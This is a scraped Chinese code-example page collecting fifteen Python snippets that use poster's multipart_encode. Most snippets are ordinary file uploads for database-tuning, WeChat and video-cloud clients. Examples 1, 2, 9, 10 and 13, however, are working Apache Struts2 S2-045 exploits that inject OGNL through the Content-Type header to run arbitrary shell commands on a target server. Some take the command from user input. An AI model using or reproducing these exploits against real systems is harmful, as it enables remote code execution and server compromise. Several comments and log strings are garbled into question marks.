當前位置: 首頁>>代碼示例>>Python>>正文


Python encode.multipart_encode方法代碼示例

本文整理匯總了Python中poster.encode.multipart_encode方法的典型用法代碼示例。如果您正苦於以下問題:Python encode.multipart_encode方法的具體用法?Python encode.multipart_encode怎麽用?Python encode.multipart_encode使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在poster.encode的用法示例。


在下文中一共展示了encode.multipart_encode方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: payload

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def payload(self):
        url = self.option.target['default']
        register_openers()
        datagen, header = multipart_encode({"image1": '23333'})
        header[
            "User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header[
            "Content-Type"] = "%{(#mosin='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).\
            (#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\
            (#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().\
            clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo mosin').\
            (#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).\
            (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).\
            (#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().\
            getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
        request = urllib2.Request(url, datagen, headers=header)
        response = urllib2.urlopen(request).read()
        if "mosin" in response:
            self.result.status = True
            print self.result.description
        else:
            print self.result.error 
開發者ID:hucmosin,項目名稱:purelove,代碼行數:24,代碼來源:s2-045.py

示例2: exploit

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def exploit(self):
        url = self.option.target['default']
        cmd = self.option.cmd['default']
        register_openers()
        datagen, header = multipart_encode({"image1": '23333'})
        header[
            "User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header[
            "Content-Type"] = "%{(#mosin='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
        request = urllib2.Request(w_url, datagen, headers=header)
        response = urllib2.urlopen(request).read()
        self.result.exp_status = True
        print(response)


#??????????????? 
開發者ID:hucmosin,項目名稱:purelove,代碼行數:18,代碼來源:s2-045.py

示例3: upload

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def upload(basedir, upload_code):
    for wkld_dir in sorted(glob.glob(os.path.join(basedir, '*'))):
        print wkld_dir
        sample_idx = 0
        while True:
            samples = glob.glob(os.path.join(wkld_dir, 'sample-{}__*').format(sample_idx))
            if len(samples) == 0:
                break
            assert len(samples) == 4
            basename = samples[0].split('__')[0]
            params = {
                'summary': open(basename + '__summary.json', "r"),
                'knobs': open(basename + '__knobs.json',"r"),
                'metrics_before':open(basename + '__metrics_start.json','r'),
                'metrics_after':open(basename + '__metrics_end.json','r'),
                'upload_code':  upload_code,
            }

            datagen, headers = multipart_encode(params)
            request = urllib2.Request("http://0.0.0.0:8000/new_result/", datagen, headers)
            print urllib2.urlopen(request).read()
            sample_idx += 1 
開發者ID:cmu-db,項目名稱:ottertune,代碼行數:24,代碼來源:upload_data.py

示例4: upload

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def upload(self, basepath, cluster_name):
        exts = list(self.REQ_EXTS)
        if os.path.exists(basepath + self.RAW_EXT):
            exts.append(self.RAW_EXT)
        fhandlers = {ext: open(basepath + ext, 'r') for ext in exts}
        params = {
            'upload_code': self.upload_code_,
            'cluster_name': cluster_name,
            'summary_data': fhandlers[self.SUMMARY_EXT],
            'db_metrics_data': fhandlers[self.METRICS_EXT],
            'db_parameters_data': fhandlers[self.PARAMS_EXT],
            'sample_data': fhandlers[self.SAMPLES_EXT],
            'benchmark_conf_data': fhandlers[self.EXPCFG_EXT],
        }

        if self.RAW_EXT in fhandlers:
            params['raw_data'] = fhandlers[self.RAW_EXT]

        datagen, headers = multipart_encode(params)
        request = urllib2.Request(self.upload_url_, datagen, headers)
        print urllib2.urlopen(request).read()

        for fh in fhandlers.values():
            fh.close() 
開發者ID:cmu-db,項目名稱:ottertune,代碼行數:26,代碼來源:upload_batch.py

示例5: post_file

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def post_file(self,url,filename,dict_obj={},headers={}):
		from poster.encode import multipart_encode
		from poster.streaminghttp import register_openers

		self.method = 'POST'
		register_openers()

		data = {'file':open(filename,'rb')}
		if dict_obj:
			data.update( dict_obj )

		datagen, _headers = multipart_encode( data )
		if headers:
			_headers.update( headers )

		request = urllib2.Request(url, datagen, _headers)
		response = urllib2.urlopen(request)
		return response 
開發者ID:adoggie,項目名稱:django-learning,代碼行數:20,代碼來源:request.py

示例6: upload

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def upload(upload_code, datadir):
    params = {
        'summary': open(os.path.join(datadir, 'sample-0__summary.json'), "r"),
        'knobs': open(os.path.join(datadir, 'sample-0__knobs.json'),"r"),
        'metrics_start':open(os.path.join(datadir, 'sample-0__metrics_start.json'),'r'),
        'metrics_end':open(os.path.join(datadir, 'sample-0__metrics_end.json'),'r'),
        'upload_code':  upload_code,
    }
    
    datagen, headers = multipart_encode(params)
    
    request = urllib2.Request("http://0.0.0.0:8000/new_result/", datagen, headers)

    print urllib2.urlopen(request).read() 
開發者ID:cmu-db,項目名稱:ottertune,代碼行數:16,代碼來源:upload.py

示例7: upload

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def upload(self, url, **file_form):
        # ????????open?????with????????
        register_openers()
        datagen, headers = multipart_encode(file_form)
        request = urllib2.Request(url, datagen, headers)
        result = json.loads(urllib2.urlopen(request).read())
        errcode = result.get("errcode")
        if errcode and str(errcode) != "0":
            self.err_handler.dispatch_error(errcode)
        return result 
開發者ID:zgliujiangang,項目名稱:wechat,代碼行數:12,代碼來源:base.py

示例8: post_file

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def post_file(filename, url, media='media'):
    '''????'''
    register_openers()
    datagen, headers = multipart_encode({media: open(filename, "rb")})
    request = urllib2.Request(url, datagen, headers)
    return urllib2.urlopen(request).read() 
開發者ID:JingRanCor,項目名稱:python-django-wechat,代碼行數:8,代碼來源:image_handler.py

示例9: exploit

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def exploit(target):
    url = target
    #print "??URl " + str(url)
    register_openers()
    id = str(uuid.uuid1())
    cmd = "echo " + id
    datagen, header = multipart_encode({"image1": "ipconfig"})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]='''%{(#nike='multipart/form-data').
    (#[email protected]@DEFAULT_MEMBER_ACCESS).
    (#_memberAccess?(#_memberAccess=#dm):
    ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
    (#ognlUtil=#container.getInstance(@[email protected])).
    (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
    (#context.setMemberAccess(#dm)))).(#cmd='''+cmd+''').
    (#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).
    (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
    (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
    (#process=#p.start()).(#ros=(@[email protected]().
    getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).
    (#ros.flush())}'''
    try:
        request = urllib2.Request(url,datagen,headers=header)
        response = urllib2.urlopen(request)
        html = response.read()
        if id in response.read():
            return True,id
        else:
            return False,None
    except:
        print "????"
        pass 
開發者ID:zhangzhenfeng,項目名稱:AnyScan,代碼行數:34,代碼來源:S2-045.py

示例10: poc

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def poc():
    register_openers()
    cmd = "whoami"
    datagen, header = multipart_encode({"image1": ''})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request("http://192.168.1.128:8080/Struts2FileUpload/doUpload.action",datagen,headers=header)
    response = urllib2.urlopen(request)
    html = response.read()
    try:
        html = html.decode("gbk").encode("utf-8")
    except:
        pass
    print html 
開發者ID:zhangzhenfeng,項目名稱:AnyScan,代碼行數:16,代碼來源:A.py

示例11: create_tmp_media

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def create_tmp_media(type,file_path):
    token = getAccToken()
    register_openers()
    datagen, headers = multipart_encode({"media": open(file_path, "rb")})
    api = 'https://qyapi.weixin.qq.com/cgi-bin/media/upload?access_token=%s&type=%s' % (token,type)
    req=urllib2.urlopen(api, datagen, headers)
    result = json.loads(req.read())
    return result['media_id'] 
開發者ID:tonghou23,項目名稱:weixincrop,代碼行數:10,代碼來源:media.py

示例12: create_longtime_media

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def create_longtime_media(type,file_path):
    token = getAccToken()
    register_openers()
    datagen, headers = multipart_encode({"media": open(file_path, "rb")})
    api = 'https://qyapi.weixin.qq.com/cgi-bin/material/add_material?agentid=%s&type=%s&access_token=%s' % (WEIXIN_APPID,type,token)
    req=urllib2.urlopen(api, datagen, headers)
    result = json.loads(req.read())
    return result['media_id'] 
開發者ID:tonghou23,項目名稱:weixincrop,代碼行數:10,代碼來源:media.py

示例13: poc

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def poc():
    cmd = raw_input('cmd=')
    register_openers()
    datagen,header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read() 
開發者ID:jas502n,項目名稱:S2-045-EXP-POC-TOOLS,代碼行數:11,代碼來源:poc_test.py

示例14: doUploadFileProgress

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def doUploadFileProgress(self,filePath, url):
        startTime = getNow()
        result = False
        try:
            widgets = ['Progress: ', Percentage(), ' ', Bar(
                marker=RotatingMarker('>-=')), ' ', ETA(), ' ', FileTransferSpeed()]
            pbar = ProgressBar(widgets=widgets, maxval=os.path.getsize(filePath)).start()
            progress = Progress()
            fileSizeStr = formatSize(os.path.getsize(filePath))
            logger.info("??????{0} ?? {1}".format(filePath,fileSizeStr))
            stream = file_with_callback(filePath, 'rb', progress.update,os.path.basename(filePath),pbar)
            params = {"filedata": stream}
            datagen, headers = multipart_encode(params)
            upload_request =urllib2.Request(url, datagen, headers)
            response = urllib2.urlopen(upload_request).read()
            endTime = getNow()
            totlaTime = caltime(startTime, endTime)
            logger.info("??????{0} ????{1} ????{2} ????{3} ??{4} ????{5}"
                        .format(filePath,startTime, endTime, fileSizeStr, totlaTime,response))
            #???????????'4b ? 0'???json ??errmsg("Extra data", s, end, len(s) ??????,??????????
            if "code\":0" in response.replace(' ', ''):
                result = True
            else:
                result = json.loads(response)["code"] == 0
        except Exception as e:
            logger.error("??????{0} exception: {1}".format(filePath,e))
        return result 
開發者ID:jiangchao0304,項目名稱:LetvCloud,代碼行數:29,代碼來源:letvcloudv1.py

示例15: doUploadFile

# 需要導入模塊: from poster import encode [as 別名]
# 或者: from poster.encode import multipart_encode [as 別名]
def doUploadFile(self, filePath, url):
        startTime = getNow()
        logger.info("??????{0}".format(filePath))
        result = False
        fileSize = formatSize(os.path.getsize(filePath))
        fileData = open(filePath, 'rb')
        params = {"filedata": fileData}
        try:
            datagen, headers = multipart_encode(params)
            request = urllib2.Request(url, datagen, headers)
            response = urllib2.urlopen(request).read()
            endTime = getNow()
            totlaTime = caltime(startTime,endTime)
            logger.info("??????{0} ????{1} ????{2} ????{3} ????{4} ??{5}"
                        .format(filePath,response,startTime,endTime,fileSize,totlaTime))
            jsonData = json.loads(response)
            result = jsonData["code"]==0
        except Exception as e:
            logger.error("??????{0}".format(filePath))
            return result
        finally:
            fileData.close()
        return result





        """
		????????????????????????? ????
        ?????????????????????0
		""" 
開發者ID:jiangchao0304,項目名稱:LetvCloud,代碼行數:34,代碼來源:letvcloudv1.py


注:本文中的poster.encode.multipart_encode方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。